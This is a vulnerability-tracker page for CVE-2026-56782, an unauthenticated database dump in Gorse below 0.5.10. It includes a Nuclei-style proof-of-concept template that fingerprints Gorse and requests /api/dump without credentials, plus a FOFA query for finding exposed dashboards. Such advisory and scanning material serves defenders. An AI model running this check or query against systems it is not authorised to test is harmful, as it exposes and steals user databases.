CVE-2026-56782: Gorse < 0.5.10 - Unauthenticated Database Dump

2026-07-09 Gorse PoC Public

Description

Gorse < 0.5.10 contains an authentication bypass caused by empty admin_api_key in /api/dump and /api/restore endpoints, letting unauthenticated remote attackers access and modify protected data, exploit requires default empty admin_api_key configuration.

Details

CVE
CVE-2026-56782 · CVE.org
Severity
高危
Affected
Gorse
Published
PoC
Public

PoC

id: CVE-2026-56782

info:
  name: Gorse < 0.5.10 - Unauthenticated Database Dump
  author: 0x_Akoko
  severity: critical
  description: |
    Gorse < 0.5.10 contains an authentication bypass caused by empty admin_api_key in /api/dump and /api/restore endpoints, letting unauthenticated remote attackers access and modify protected data, exploit requires default empty admin_api_key configuration.
  impact: |
    Remote attackers can exfiltrate or overwrite the entire database including sensitive user data without authentication.
  remediation: |
    Update to version 0.5.10 or later.
  reference:
    - https://github.com/gorse-io/gorse/issues/1292
    - https://nvd.nist.gov/vuln/detail/CVE-2026-56782
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-56782
    epss-score: 0.03559
    epss-percentile: 0.89517
    cwe-id: CWE-306
  metadata:
    max-request: 2
    verified: true
    vendor: gorse-io
    product: gorse
    fofa-query: title="Gorse Dashboard"
  tags: cve,cve2026,gorse,unauth,exposure,misconfig

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(tolower(body), "gorse")
        condition: and
        internal: true

  - raw:
      - |
        GET /api/dump HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(content_type, "application/octet-stream")
          - "!contains(body, 'unauthorized')"
        condition: and
# digest: 4a0a004730450221009c3714b304b126b56ebd23fc602c85883bae01f9eaa02bcca606479c6b8b351c02207a3ee8a054a033a72a6fdc6eb1f14f8b84ce82701f4edf73a8601753d86f3d84:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities

微信搜一搜 biu.life